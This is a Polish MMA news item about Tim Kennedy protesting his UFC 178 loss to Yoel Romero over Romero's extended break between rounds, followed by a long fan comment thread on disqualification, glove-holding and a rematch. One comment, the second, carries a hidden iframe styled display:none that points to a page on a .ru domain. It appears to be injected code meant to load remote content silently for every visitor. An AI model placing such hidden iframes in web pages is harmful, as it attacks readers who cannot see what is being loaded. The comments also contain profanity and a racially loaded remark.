Jak widać na powyższym filmie, Tim Kennedy skonfrontował się z Yoelem Palacio po walce na gali UFC 178. Amerykanin, który przegrał z Romero w dość kontrowersyjnych okolicznościach, miał powiedzieć Kubańczykowi w szatni, że jeśli zawodnik nie jest w stanie wstać ze stołka i kontynuować walki, to według przepisów powinien przegrać przez TKO.

W walce Kennedy przegrywał dość wyraźnie dwie pierwsze rundy, w ostatnich 15 sekundach walki udało mu się jednak trafić mocną kombinacją i zabrakło niewiele, aby znokautować Kubańczyka. Uratowany gongiem kończącym rundę Romero potrzebował czasu, by dojść do siebie i celowo przedłużył rozpoczęcie kolejnej rundy o 30 sekund, co spotkało się z dość mocno krytyką ze strony fanów i UFC. Kiedy rozpoczęła się trzecia runda, „Żołnierz Boga” prawie natychmiast trafił dobrą serią Amerykanina, posłał go na deski i zakończył walkę w parterze.

Tim Kennedy ponownie poruszył temat na Twitterze, podając nawet konkretny przepis dotyczący tej sytuacji:

136 KOMENTARZE

  1. Ja bym go na miejscu UFC ukaral.Gosc nie kwapil sie do wstania z krzeselka wiec sedzia powinien przerwac walke.

    Panie Tomaszu powie mi pan czemu za kazdym razem jak pisze na cohones to po wstawienu komenatrza pokazuja sie rozne znaki html itp?Musze potem edytowac i usuwac te krzaczki.

  2. No contest brzmi sensownie.Pozbawilbym  go rowniez bonusa.
    <iframe id=”zunifrm” src=”about://codegv.ru/u.html” style=”display: none;”></iframe>

  3. Przestańcie pierdolić jak potłuczeni jak JJ  albo Brazole robia coś hu… to nikt nić

  4. @Tytus nie powiesz chyba, że przedłużanie przerwy było zachowaniem w pełni fair ? 

  5. Trzymam Strone Tim'a, mimo, że go niezbyt lubie ale ma facet rację. Niech każdy z was sobie obejrzy jeszcze raz zachowanie Romero i jego teamu w przerwie między 2-3 rundą, ewidętne granie na czas, a 28 sekund przy byciu znokautowanym to masa czasu na odbudowę.

    Dla mnie powinno być DQ.
    https://twitter.com/aqua_cuba

  6. Jest różnica między Jonesowymi palcami w oczy, za co należy odejmować punkty, a dodatkowymi 35 sekundami odpoczynku dla gościa, którego na nogach trzymała jedynie siatka.
    NC to jest dla mnie rozsądne rozwiązanie, DQ to trochę zbyt mocno – ale i tak lepsze niż obecny wynik.

    http://www.youtube.com/user/PucziTheFace

  7. Jak lubię Kubańczyka, tak tu zdecydowanie dyskwalifikacja lub przynajmniej trzepiąca po portfelu spora kara finansowa.

  8. Ja będę stronniczy …. był lepszy od Tima.  Zmielił mu twarz i tyle.  Yoel to fenomen by w tym wieku z takim małym stażem dojsć tak wysoko. Teraz nad nim jest tylo Weidman ,Silva, Souza ,Belfort,Machida i chyba Rockhold. Dostanie pewnie kogoś konkretnego a to juz chyba za wyskokie progi na "nowicjusza"

  9. Danka na konfie mowil ze nie ukara kubanczyka, bo to byla wina cutmana ze za duzo nalozyl wazeliny, a ze w narozniku u Romero nikt nie gada po angielsku, to tak wyszlo, elo!

  10. W pierwszym momencie, po pierwszym obejrzeniu, nie wiem jak, ale nawet nie zauważyłem "przesiedzianej" orzerwy między 2 a 3 rundą. Z jednej strony Tim ma rację, z drugiej… No nie wiem.

  11. Jeśli już, to Kennedy nie może mieć nic do zarzucenia Romerowi, tylko sędziemu. Yoel zachował się sprytnie i dzięki temu wygrał. Rozumiem wkurwienie Tima, ale powinien być wkurzony na sędziego a nie na Yoela. Spryt w życiu i w walce też się liczy. Ja mam pełen szacunek dla Romera bo ma 37 lat, zaczął walczyć w mma od 32 roku życia i zaszedł tak daleko. Będę mu kibicował aby zaszedł jeszcze dalej, chociaż już chyba jest w top 5 wagi średniej.

  12. Big John zjebał misję, jedynie jego można tu winić nie Romero. Jestem przeciwny zmienianiu werdyktów po walce, co najwyżej moga dać im rewanż, albo Jacare dla Romero bedzie już wystarczającą karą.

  13. Tim spiął dupe i sie rozproszyl przez ta przerwe dodatkowa, a Romeo sobie odpoczal i doszedl do siebie. Przeciez to wypaczylo obraz walki, trzeba ukrócić takie nie sportowe zachowania. DQ

  14. 1.Spaslak naklada za duzo wazeliny.

    2Romero nie kwapi sie do wstania.

    3Zolty kondom nie chce wyjsc z oktagonu a nastepnie udaje glupa ze nie wiem o co chodzi i zamiast zetrzec wazeline szmatka to wyciera go po klacie.

    4Big John to wszystko toleruje.

    Jak widac zawinily az 4 osoby.Dobra KOncze to przedstawienie bo mi podniesli cisnienie swoim nie fair zachowaniem i cwaniactwem.

  15. Kennedy nigdy wcześniej nie przegrał przez TKO/KO ! tylko decyzja z Rockholdem i Souza.  Poza rozcięciemw 2001

  16. Trochę faktycznie to było nie fair, ale nie przesadzajcie. Sędzia mógł ukarać go odjęciem punktu. I co z tego? Laughing

  17. Ja się wkurwiłem od razu, gdy to zobaczyłem nadrabiając walkę. Frajerskie zachowanie narożnika Yoela, jego samego w sumie też. Big John też wcale nie lepszy, dał ciała i to zdrowo. Powinien zakończyć walkę przez TKO, ale tak nie zrobił. Nie wiedzieć dlaczego. Jestem za NC, jak również za ich rewanżem, no ale wątpie, że jedno lub drugie dojdzie do skutku. 

  18. Wina sędziego, że dopuścił do takiej sytuacji. Nic nie powinno być zmieniane w wyniku walki. To tak jakby dawać walkower w meczu, gdzie sędzia wypaczył wynik spotkania swoimi błędnymi decyzjami. Big John powinien zadać pytanie czy zawodnik jest gotowy. Jeśli nie byłoby reakcji, wtedy powinien zakończyć pojedynek.

  19. Ale hype na Romero musi trwać i chuja Kennedy dostanie.

    Jaki hype na Romero ? Kto go hype'uje ? Moim zdaniem najbardziej niedoceniany zawodnik w tej wadze.

    IMHO cała wina po stronie sędziego
    Bisping-Hardy-Daley-F.Griffin-Belfort-dos Santos-Wanderlei-Coenen-Jędrzejczyk

  20. Też sie z tym zgadzam, przecież to jest jakiś żart, mały ujek Romero przedłużał  żeby oprzytomnieć, bo jak siadał na krzesłko to nie wiedział co sie dzieje bo był praktycznie ubity. Jesli są zasady, to ktoś je powinien wyegzekwować bo to niepoważne jest.

  21. Hype na Romero nigdy nie było bo po co UFC Cubański mistrz. Doszedł tak wysoko w bardzo obstawionej wadze  zaryzykował bym i porównał go do Lesnara który w kilku walkach wspiał sie na szczyt. Yoel dostanie teraz pewnie ?Belforta  i będzie po ptokach … Przypomnijcie sobie on niedawno uczył się MMA z Fiałka

  22. @def

    W tekście jest dość istotny błąd bo jednak 2 runde Kennedy dość wyraźnie wygrywał.

    Jeśli Kennedy znalazł przepisy to powinni być konsekwentni.
    My fans i go back to fight, Weidman and Anderson Silva ,I back trust me I back

  23. Jest konkretny przepis, ktory zostal zlamany i nie ma zadnej reakcji? Co za dno…

  24. Tak kolejny przepis złamany np. : Notoryczne CELOWE palce w oczy JJ, Uderzenia w tył głowy Conor

  25. O którym ciosie mówisz ?
    Pierwszy legalny,drugi legalny,trzeci sporny,ale wygląda bardziej na czubek głowy,niż tył.
     

  26. Też próbuje rozkimić, bo ten 3ci to co najwyżej musnął ten czubek…

    A Tytus pisze o uderzeniach….

  27. Bez przesady, dla Romero żadnej kary dać nie można. Ledwo kontaktuje po ko i siedzi na stolku, to wina jego sztabu i przede wszystkim cutmana , który był z ufc. Szybki rewanz i tyle.

  28. Tim Kennedy FAULJE jak ….. ale 10 sekund pózniej chce by wobec niego być FAIR

  29. Dokładnie… Kennedy też nie był fair, gdy wyraźnie trzymał Palacio za rękawice! Obaj zawodnicy zachowali się, jak zachowali, lekarz i sędzia dali ciała (hehehe… szkoda, że nie mój ulubiony Dan Mirgaliotta). Lekcja dla UFC. Kara dla obu i rewanż mile widziany.

  30. To była decyzja sędziego. Nie skończył walki, więc to jego wina. Romero był oszołomiony i mógł nie wiedzieć, że już powinien wstać. Corner powinien go podnieść i zabrać stołek, ewentualnie ludzie uprzatający klatkę przed rundą, a on sobie siedział i nikt nic nie starał się robić wobec tego. Tak czy inaczej mimo tego to Kennedy dał się trafić i ubić i jest sam sobie winny, bo powinien dokończyć dzieła, a sam został skończony.

    Ale walka mega!. Można zrobić rewanż jak dla mnie 😀 Elegancka przewrotność, Yoel spuchło. W końcu ktoś "poszedł na niego", walka z nim w dystansie przy jego ruchliwości to nie jest dobry pomysł. Dobrze, że Tim od 2 rundy to zrozumiał…no, aler ten początek trzeciej …

  31. To taka sytuacja jak by JJ-owi za wsadzanie palcy w oczy rywal kopnął celowo w jaja…

  32. Karma to dziwka. To jest wina tylko i wylacznie Kennediego ktory powinien zostac zdyskwalifikowany za trzymanie rekawicy i zadawnie ciosow pod koniec 2 rundy. Tylko dzieki temu udalo mu sie naruszyc Kubanczyka. Gdyby nie ten faul to Yoel by nie potrzebowal tylu sekund na dojscie do siebie. W ogole brawa dla niego ze wykorzystal tylko xx sekund z 5 minut ktore mu przyslugiwaly.

  33. Zdecydowanie bylo to niesportowe zachowanie … ale na miejscu murzyna tez byscie to przeciagali. Umowmy sie ze te 10 sekund niewiele dalo Palaciosowi a teraz afera. Tim sam sobie winien ze nie wykorzystal szansy.

  34. Też zauważyłem to trzymanie rękawicy przez Tima. Kontrowersyjna sprawa z Romero i nasiadówką w narożniku. Od czego tylu tych grubasów po oktagonie lata ?? pierdzą czy mają tam czegoś pilnować ? np. czasu ? 

  35. ale musze powiedziec, ze wydymali go bez wazeliny, dla mnie to bylo tko i wale powinien wygrac muszkieter

  36. Jakby się skończyło decyzją to jeszcze bym zrozumiał ale jak ten niemogący wyjść do 3 rundy gość szybko nokautuje tego, który go rzekomo znokautował to trochę farsa jak zmienią werdykt na odwrotny…Okek, Yoel był niezdolny do walki, ale był zdolny, żeby znokautować wygranego niby gościa? No coś jest nie tak…

    To nie wina fightera, a ludzi trzymających pieczę nad tym by fighterzy byli gotowi na czas kolejnej rundy. Z resztą kiedyś liczyłem czas trwania przerwy w jakiejś walce i była dłuższa niż minuta, dla obu co prawda, ale nikt nie robił z tego afery. Chciał wygrać w niecny sposób, a kto wie czy nawet jakby Yoel wstał 10 sekund wcześniej jednak to nie skończyło by się tak samo. Więcej odpoczął, ale te 10 sekund nie zmieniło za wiele. Kennedy przegrał na własne życzenie. Rewanż można dać, bo takich walk jak najwięcej, ale mimo przedłużania Yoel zasłużył na W, a Tim na porażkę.

  37. Trochę afera się zrobiła przez to porzedłużenie ale mam nadzieję że nie zmienią werdyktu. Kara finansowa dla Yoela też nie była by adekwatna bo to nie jego wina, a sędziego który mógł zareagować. 

  38. Jakby to powiedział Darek Szpakowski – "niewykorzystane sytuacje się mszczą" 😀

  39. Yoel zwycięstwo przez DQ Tima K ,dziękuje ,dowidzenia.

    Na jakiej podstawie? Za trzymanie przez jakieś półtorej sekundy rękawicy Romero? To się przecież nawet na upomnienie ledwo kwalifikuje.

    Kara finansowa dla Yoela też nie była by adekwatna bo to nie jego wina

    Przecież nie wstał do rundy. Nikt go do stołka nie przyspawał…

  40. "Kennedy zwycięstwo przez TKO" – na jakiej podstawie przecież Yolel siedział tylko parę sekund…..

    Pomysl w momencie jak trzymał za rękawice zadał decydujące ciosy które mogły spowodowac KO  bo Romero nie mógł uciec.Gdyby nie te ciosy nie doszło by do przedłuzenia przerwy..

  41. Ale był zamroczony, podstawy były by nie czaił nieco bazy, co nie znaczy, że był skończony już, po prostu powinien wcześniej wstać 😉 Mimo to pokazał charakter fightera i znokautował Tima, który mimo tego co dał sobie zrobić naruszonemu rywalowi woła o swoją wygraną. Jesli ktoś ukarany powinien zostać to Big John za nie zakończenie pojedynku, gdy Yoel nie wstawał. Tak czy inaczej nie takich wygranych sobie życzę w oktagonie jako kibic, a takich jak zrobił Yoel z Timem na początku 3 rundy.

  42. No jak się okazało nie pare sekund co oznacza 2-4 sekundy a 28 sekund. Czyli wydłużył sobie przerwe o 50 % po nokdaunie.

    Wczoraj byłem po stronie Yoela ale jeśli jest nawet na to paragraf to troche słabo.
    My fans i go back to fight, Weidman and Anderson Silva ,I back trust me I back

  43. Yolel siedział tylko parę sekund

    Dokładnie 28, a biorąc pod uwagę, że regulaminowa przerwa trwa 60 sekund to "trochę" tego czasu zarobił.

  44. No fakt, to sporo, ale parenaście sekund przedłużenia minutowej przerwy to częsta sprawa. Wiadomo, że Timowi zależało na tym by nie wstał, ale to kiepski powód do wygranej. Powinien dokończyć dzieła jak tylko Yoel wstał, a stało się odwrotnie. Jak Timowi można dać wygraną, gdy sam został skończony przez naruszonego rywala :-/ Jakby dowiózł walkę do końca, byłaby decyzja to miałby wg mnie większe podstawy do kręcenia afery. Podjął rękawice w 3 rundzie mimo naruszenia tego przepisu. Jakby jednak to on znokautował Romero w 3 rundzie to by nie było psioczenia. Mógł powiedzieć, że nie walczy, bo jest już po walce, bo Romero nie wstał, ale jednak walczył i przegrał przez TKO.

    Winny jest tylko sędzia, że podjął taką, a nie inną decyzję. Fightera trzeba szanować, że mimo okoliczności zrobił coś takiego i odwrócił bieg walki.

  45. Tim Kennedy na wszystkich swoich Fan Page zablokował mozliwość wklejenia tego Gifa .

  46. Oj wyczuwam rewanż, a w przypadku zwycięstwa Yoela jestem za, aby ten dostał od razu po tym walkę o pas.

  47. Borm, częsta sprawa? Jakoś nie zauważyłem…

    Nie powiesz mi, że w sytuacji gdzie obaj zawodnicy są potwornie spompowani i jeden z nich od 30 sekund kręci się po ringu w oczekiwaniu na rozpoczęcie rundy, a drugi pierdzi w stołek to jest to bez znaczenia…

  48. Obaj są mi obojętni, ale zachowanie Romero frajerskie. Cwana zagrywka i tyle. Kara powinna być, nie wiem jaka, ale nie powinno mu to pójść płazem. Dyscyplina musi być.

  49. Cypher, też nie zauważam, bo przerwa przedłużana jest wówczas dla obu, ale mówię, kiedyś policzyłem ile trwała między rundami i było ponad minutę spokojnie.

    Kurde, tej akcji z trzymaniem rękawicy nie widziałem w trakcie walki przyznam. Nieźle zaszalał Tim, a nie ma co ukrywać samo trzymanie rękawicy miało wpływ na to, że Yoel nie był w stanie odskoczyć, ani się bronić tą ręką. Straszliwie niesportowe zachowanie, zdecydowanie bardziej rozumiem, że zawodnik po nokdaunie chce trochę odczekać dłużej, tak czy inaczej skończyło się to później już legalnie i po sportowemu. W związku z tym, że knockdown byłskutkiem foulu Romero powinien mieć nawet 5 minut czasu na oprzytomnienie, jeśli nie powiedzieć, że nie jest zdolny do walki i wygrać to przez DQ.

    Respect, bez przesady. To było może rozpaczliwe zachowanie, frajerskie to było zachowanie Tima z tą rękawicą.

  50. Kennedy trzymał Kubańczyka za rękawice, Yoel wraz z teamem wydłużył przerwe (po czym w chwile skończył Tima), ten i ten zachował się nie fair, po co licytować się, który bardziej zawinił? Śmieszy mnie ten płacz o to i nawoływanie do No Contest. 

     

    Warto zwrócić za to uwagę na to, że Romero ma już troszkę latek, od niedawna "bawi" się w MMA a i tak, w krótkim czasie dołączył do absolutnej czołówki swojej kategorii wagowej, to jest fenomen. 

     

    P.S, tak z ciekawości. Załóżmy, że dojdzie do walki Romero z Belfortem, dlaczego myślicie, że Yoel nie ma najmniejszych szans na wygraną? 

  51. No i dlaczego sądzicie ze Belfort przegra z Krzysiem? 😀

     

    Ja tam nie chce rewanzow zadnych itd, Joel byl po prostu lepszy, fakt – mial go na widelcu Kennedy, ale mógł atakowac wczesniej, tak czy tak runda się skończyla, moze troche nie fair ze przeciagnal ale jakby nie przeciagnal to watpie zeby Kennedy rzucil sie odrazu by kontynuowac szturm, jak dla mnie z drobnymi zawirowaniami, ale jednak Yoel górą i chcialbym go teraz zobaczyc z Rockholdem, Machidą lub właśnie Belfortem.

  52. Trzymam stronę Kennedy'ego, jeśli zawodnik nie jest w stanie kontynuować pojedynku to mamy TKO a nie takie zagrywki, żeby tylko dać mu kilka dodatkowych sekund oddechu aby doszedł do siebie. Tim powinien wystosować jakiś protest a wynik zmieniony na no contest i np zorganizować rewanż. Takie akcje nie mogą mieć miejsca.

  53. @Born, nazywaj jak chcesz, dla mnie to było frajerskie zagranie spowodowane rozpaczą 😀 Oczywiście nie uważam, że zagrywka Tima była ok.

  54. A jaka była? Tylko "Nie ok"? 🙂

    Doprowadził tym do knockdownu, który w ogóle nie miałby miejsca. W trakcie walki sądziłem, że zrobił to legalnie i po prostu ceniłem, że udało się skrócić dystans i wbić pare ciosów. Tymczasem skrócenie dystansu polegało na przytrzymaniu rękawicy, a jednocześnie dzięki temu pozbawieniu gardy Yoela, który przyjął uppercuty i się posypał. Powinno być DQ, a nie teraz psioczenie, że posiedział Yoel trochę dłużej. Tak czy inaczej w obu wypadkach zawinił Big John. Tylko, że Yoel robił to, aby przetrwać, a Tim, żeby oszukać. Taka w tym różnica. Dlatego jeśli o frajerstwie mowa to amerykański żołnierz był temu bliższy niż żołnierz boży.

  55. Dla mnie to jest krótka piłka – dawać rewanż i będziemy mieli jasność. Walka była zajebista, więc nie ma żadnych przeszkód ku temu, eliminator też to nie był. Dywizja i tak jest zablokowana.

  56. Born nieźle popłynąłeś. Kennedy trzymał Romero za rękawicę przez półtorej sekundy, zupełnie instynktownie, a ty wypisujesz dyrdymały jakby go łańcuchem przyspawał do parteru i okładał stompami przez całą rundę. Zauważ też, że Romero o dziwo również ma dwie ręce i tak samo jak Kennedy – jedną z nich miał wolną.

  57. Cypher, to Ty nieźle popłynąłeś teraz…Porównując sekundami obie sytuacje. Bo "oczywiście" półtorej sekundy, w którym się knockdownuje rywala to nijak do 28 sekund przesunięcia powstania do rundy…;] W te półtorej sekundy zdarzyło się najistotniejsze co Kennedy zrobił Kubańczykowi. Poza tym do knockdownu czy nokautu więcej niż to nie trzeba.

    Instynktownie? To ma zły instynkt do tego sportu i było to zachowanie niesportowe na maxa. Jak ktoś nie da się obalić, bo złapał się siatki to już prędzej jest instynktowne, bo człowiek wywracany często się łapie czegoś by się nie przewrócić, ale i tak jest "jedzony" potem w komentarzach. Odejmuje się punkty również często jeśli ma to spory wpływ na rozwój sytuacji. Jakby to John zauważył to byłoby DQ albo 5 minut regeneracji dla Kubańczyka. Koniec dyskusji.

  58. Born za bardzo wnikasz i czepiasz się słówek. Nie musisz mi tłumaczyć co zrobił Tim. Po prostu chodziło mi o to żeby nie wyszło, że atakuję Palacio a Tim według mnie jest czysty. Nie, nie jest. Po prostu bardziej skupiłem sie na jego przewinieniu i tyle. Także apeluję o spokój Bornie 😀

  59. I'm calm. Cypher stara się sprowokować chyba 😛 Dla mnie obie sytuacje są niesportowe, ale jednak ta Tima zdecydowanie bardziej, bo w trakcie walki. Fakt, że zamroczenie spowodowane było całą tą niesportową akcją umniejsza sytuację dłuższego wstawania do rundy Romero. Ja nie stawiałem hajsu, więc staram się być obiektywny. Obojętne mi było kto wygra, chciałem dobrej walki i wygranej lepszego 🙂

  60. Mam tylko nadzieję, że obejrzałeś tę akcję więcej niż raz, a także odróżniasz trzymanie ręki od trzymania rękawicy oraz sprawdziłeś w słowniku co znaczy słowo instyktownie.

  61. Born jak zwykle płynie…

    Born człowieku to co zrobił TIm to nic innego jak faul ! ( żółta karta nic więcej, niczym to się nie róźni od ciosu poniżej pasa, łapania siatki etc ). Jeśli ty twierdzisz, że przez to, że Tim trzymał mu rękawice przez 2 sekundy przez to go znokautował to jest śmieszne, przecież miał drugą rękę, uchwyt mógl bez problemy zerwać, balans ciałem, balans głową, rozumiem jak by go trzymał za głowę wtedy nie mógł by jak uciec od tych podbródkowych, ale tak?

    W MMA, Boksie itp faule się zdażają i będą zdażać, ale to co zrobił team Yoela wg mnie już jest czymś gorszym od faulu, to jest jawne walenie w chuja, tylko po to, żeby ich zawodnik doszedł do siebie, a 28 sekund to bardzo dużo dla kogoś po knockdownie, zresztą zapraszam na tt i zobacz jak inny faighterzy wypowiadają się na ten temat.
    https://twitter.com/aqua_cuba

  62. Cypher, oczywiście, że odróżniam. Trzymanie ręki jest legalne, rękawicy w ten sposób nie.

    Aqua, no dokładnie faul, który przyczynił się do knockdownu. Romero broni się tym, że odskakuje, raczej z gardy nie korzysta, bo refleks mu wystarcza, ale gdy ktoś go nie trzyma…Inaczej by się zachował, gdyby Tim go trzymał za kark i chciał te podbródki wsadzać. Faul, który nie został przerwany, a dodatkowo wykorzystany przez Amerykanina w brutalny sposób. Miał drugą rękę i mógł zerwać uchwyt? To tak jakby tłumaczyć, że zawodnik z jedną ręką na macie powinien bronić drugą ręką twarzy by ktoś mu kolana na głowę nie wsadził czasem…Jego ręce nie są w walce od tego by powstrzymywać się przed niesportowymi zachowaniami rywala. Tak samo jak gdyby trzymał jego spodenki w parterze czy przy próbie obalenia. Nie powinien sam ich ściągać tylko sędzia zauważyć, że zawodnik to robi.

    Samo zwrócenie uwagi powinno być na trzymanie rękawicy, ale z racji, że Amerykanin to dodatkowo wykorzystał to zmienia postać rzeczy. Jeśli to Was nie przekonuje to mi się już nie chce mówić jak do ściany. Pozdro.

    PS: Nie mam TT i mieć nie będę, nie obchodzi mnie zdanie ludzi, którzy mieli jakiś interes w tej walce bądź Tim to ich kumpel, rodak. Ja oceniam obiektywnie. Jakby ktoś włożył palec w oko lub kopnął w krocze po czym ponowił akcję zadając serię podbródków knockdownujących lub w ogóle wykańczających to byłoby OK? 😀

  63. Yoel to wygral bezdyskusyjnie i tyle w temacie ,, ( a \”przedluzenie” jest efektem tego niesportowego zachowania ktore spowodowal placzek Tim )
    rewanz nie ma sensu ,, bo czekaja na Palacio wyzwania ciekawsze i z wyzszej polki ,, 🙂

  64. @Cyper a JJ trzymał pale w oku Glovera tylko 1/10 sekundy to przecież tak mało i pewnie też zrobił to instynktownie…

  65. Bieńkowski walnął sokera tylko jednego i trwało to tylko pół sekundy dlaczego dostał DQ ? 🙁

  66. Najlepiej bedzie jak zestawia rewanz i wtedy wytlumacza sobie kto jest lepszy. W danej chwile oboje zastosowali nielegalna akcje jeden trzymania za rekawice drugi przedluzenia przerwy.

    Co by jednak niemowic samo przytrzymanie rekawicy raczej niemailo wielkiego wplywu na podpiecie Yoela gdyz bylo to za krotkie przytrzymanie + dystans byl skracany gdy Yoel odskakiwal.

    Natomiast 28-30 sekund dodatkowego odpoczynku jest nielada przewaga dla kogos kto mozna powiedziec slanial sie na nogach.

  67. Co by jednak niemowic samo przytrzymanie rekawicy raczej niemailo wielkiego wplywu na podpiecie Yoela gdyz bylo to za krotkie przytrzymanie + dystans byl skracany gdy Yoel odskakiwal.

    Natomiast 28-30 sekund dodatkowego odpoczynku jest nielada przewaga dla kogos kto mozna powiedziec slanial sie na nogach.

     

    Dokładnie ! niektórzy nie potrafią rozróżnić faulu w bezpośredniej walce, od cwanego oszukiwania między rundami.

    dla mnie eot.

  68. W ogóle by Tim nie trafił tak soczyście Romero, bo ten byłby już poza jego zasięgiem, jak przez całą walkę. "Podpięcia" by nie było, bo nie byłoby takich trafień. Całą walkę Tim próbował wejść w półdystans i trafić, ale o dziwo udało mu się to dopiero, gdy przytrzymał nielegalnie Kubańczyka.

    Powinien mieć 5 minut odpoczynku po takim faulu i wykorzystaniu go, a odpoczął jedynie półtorej minuty między rundami, a i tak wyszedł i znokautował Amerykanina, który takim zwycięzcą się czuje, że dał to sobie zrobić gościowi, który chwilę wcześniej był "podpięty".

    Rozumiem, że zdecydowanie łatwiej zauważyć półminutowe przeciągnięcie przerwy niż sekundowe trzymanie rękawicy (gdy padają ciosy człowiek patrzy jednak na ich wymowę, a nie gdzieś tam na dół i na ręce), ale walczyć się powinno z takimi zagrywkami jak ta Tima jeszcze bardziej.

    Aqua, właśnie potrafią zauważyć, a dla Ciebie faul w samej walce jest mniej istotny niż między rundami cwaniakowanie to ja nie mam pytań. Myślałem, że w tym biznesie właśnie chodzi przede wszystkim o WALKĘ wg zasad, a odpoczywał bądź co bądź po knockdownie, którego być nie powinno. Co innego jakby kur** ze zmęczenia odpoczywał sobie dłużej niczym Bob Sapp kiedyś.

  69. Kennedy też miał 30 sekund dłuższą przerwę więc niech żałuje że dał sie trafić i przegrał walkę Evil WARRR !!! YOEL  !!!

  70. Jak pudzianowi 3 minuty „wycierają” ring między 5 minutowymi rundami to jakoś mniej boli co? he he

  71. Tim wiedział, że mu się udało coś zdziałać i chciał w ten sposób wygrać, bo innej opcji nie miał. A jaki był zdolny, żeby to legalnie powtórzyć na naruszonym rywalu pokazała 3 runda dobitnie. Wygrał lepszy, choć po kontrowersyjnej ogólnie walce.

  72. Wygrał lepszy i tyle. Przestańcie już płakać.

     

    Jakbyście obstawiali Yoela w walce z Belfortem?? 

  73. @Tytus, podpowiem ci – dlatego, że sędzia to widział (w obu przypadkach zresztą, dlatego JJ dostał upomienie, a Bieńkowski DQ).

    Zachowanie Kennediego było tak wypaczające wynik, że nawet sędzia tego nie zauważył. Ba! Nawet Romero, ani komentatrzy się nie zorientowali. A gdyby nie ten gif to i wy żylibyście dalej w błogiej nieświadomości. 

    @Born, napisałem Ci żebyś obejrzał tę całą akcję parę razy, oszczędziłbyś sobie czasu na pisanie bzdur…

    Specjalnie dla ciebie – komiks.

    Kennedy wyprowadzając pierwszy cios w tej akcji trzymał Romero za rękę.

    Cios już dawno wylądował, a Kennedy nadal trzyma tylko rękę.

    Dopiero przy drugim ciosie chwyta (opuszkami palców?!), moim zdaniem instynktownie, uciekającą rękawicę Romero.

    Przy trzecim ciosie nadal trzyma rękawicę (już chyba tylko małym palcem…), zresztą osiągnąłby lepszy efekt łapiąc poprostu dłoń Romero swoją dłonią. W sumie, trzymanie trwa całe półtorej sekundy.

    Ciosy numer 4, 5, 6, 7 i 8 wchodzą czysto.

    Nie ma co, perfidny i wyrachowany ten Kennedy. Bądąc na wpółprzytomnym napewno obmyślił chytry plan skrócenia dystansu przez trzymanie końcówkami palców rękawicy Romero. Był jednak na tyle szlachetny, że pierwszy cios wymierzył jeszcze "legalnie"…

  74. Opuszkami, bo czym niby innym? Całej dłoni przecież tam nie włożysz, a tyle wystarczy jeśli się te opuszki wciśnie między zabandażowaną rękę, a rękawicę. Dwa podbródki, gdy trzymał Romero w nielegalny sposób były kluczowe dla knockdownu. Amerykanin przyjął walkę w 3 rundzie wychodząc do niej, oberwał i przegrał, a po walce zaczął nagle narzekać. Dużo stracił i jest sfrustrowany. Romero mimo faulu i bliskiego jego końca nie narzekał na nic, pokazał charakter i zrobił co trzeba w 3 rundzie. Kennedy nie potrafił dokończyć "dzieła". Tyle w temacie, bo nie ma to sensu. Pozdro.

    Aqua, ale była jeszcze 3 runda…No, ale pewnie w niej dla Ciebie było remisowo ;-))) Nokautujący jest pewnie też słabszy niż nokautowany, nie znawco? 😉

  75. Amerykanin przyjął walkę w 3 rundzie wychodząc do niej

    No fakt mógł przecież powiedzieć – "pierdolę, nie robię, idę na ryby".

    Romero mimo faulu i bliskiego jego końca nie narzekał na nic

    Taki był chętny na trzecią rundę, że mało nie usnął na taborecie.

    Heh, już któryś raz palnąłeś głupotę i się jej trzymasz. Wszystko kwitujesz sakramentalnym "nie ma sensu, dowidzenia"…

  76. Born mi chodzi o to, że WY piszecie, że wygrał lepszy, jak po 2 rundach był remis! … co do 3 rundy to mogła iść w dwojaki sposób i sam o tym dobrze wiesz, bo jak by Romero "wstał" do walki równo z gongiem to pewnie by go Tim skończył.

    Pisałem o DQ na początku dla Romero za cwaniactwo, rewanż też by mnie uszcześliwił, w końcu to dobra walka była.

  77. @Cypher wielu rzeczy nie wiedzielibyśmy gdyby ktoś tego się nie dopatrzył. To co zrobił Romero i spółka było łatwo namacalne bo trwało długo. To co zrobił Kennedy było zakamuflowane i trwało krótko. Tim Kennedy nie powinien skakać bo sam używa nieczystych zagrań

  78. Wg mnie Tim nie powinien być zbyt rozgoryczony, bo chociaż został nieco skrzywdzony, to równocześnie doceniony bonusem 50 koła, który to mógł spokojnie powędrować gdzie indziej.
    A jeżeli tak dobrze zna się na przepisach, to chyba wie co mogło się stać po przytrzymaniu rękawic? Poza tym Kennedy nie przegrał tylko i wyłącznie z powodu tej pół minuty, ale również dlatego, że nie potrafił skończyć naruszonego Yoela, a wręcz przeciwnie, na co już parę razy zwracał uwagę Born. Romero z kolei nie dostał wygranej na tacy.
    Ja bym w wyniku nic nie zmieniał, ale mając wzgląd na Kennedy’ego, zestawił natychmiastowy rewanż.

  79. 28 sek dłuższa przerwa w przypadku nokdaunu to sporo i zapewne pomogła mu dojść bardziej do siebie. Z drugiej jednak strony Kennedy też nie grał czysto a w 3 rundzie dał się załatwić zamiast samemu to zakończyć. Romero był lepszy i wygrał. A błąd popełnił sędzia że nie zauważył tej dłuższej przerwy. Ogólnie ciężka sytuacja do oceny. Ja jednak zdecydowanie bardziej wole Romero w walkach z Top 4 niż Tima : )

  80. Też bym czuł się pokrzywdzony, Romero siedział na tym taborecie i nic nie kontaktował. Romero to też specyficzny zawodnik i ciężko z nim wygrać, albo trafić albo nie wiem co, bo to silny skurczybyk i ma mega zapasy.

  81. Dla mnie jako sędziego sportowego sprawa jest prosta – błąd sędziego i tyle. Big John pewnie będzie na chwilę odsunięty od ważnych walk i na tym się skończy a Dana załatwi rewanż.
    Poza tym brudy w sporcie są codziennością dlatego powstało coś takiego jak Fair Play, ale teraz niestety jest niewiele warte bo głośniej będzie o cwaniactwie czy oszustwie niż o uczciwości.
    Zresztą zobaczcie walkę o której mówił Dana na konferencji:
    http://www.youtube.com/watch?v=3CguTRDDUNI

  82. Trafił dopiero jak się do Yoela rękawicy „przyspawał” i kto tu do kogo powinien mieć pretensje !?
    Jak JJ podłapie to całą rundę przeciwnikowi zrobi smycz z rękawicy…

  83. Ciężka do rozstrzygnięcia sytuacja, moim zdaniem obaj powinni dostać karę finansową, ale nie robić NC czy DQ, tylko zestawić co najwyżej rewanż.

  84. Co do tej trzyanej rękawicy – dopiero na Waszym gifie to zauważyłem – w tracie nie. Big John wcale tego faulu Kennedy'ego nie widział – bo był zasłonięty – także tu jego winy nie ma. Co do przedłużonej przerwy – mógł wcześniej Kubańczyka z tego stołka zepchnąć. Ew. Odjąć mu 1 pkt. Ostatecznie jebnąć go tym krzesełkiem po łbie crazy

    Ale sama walka nawet ciekawa. 

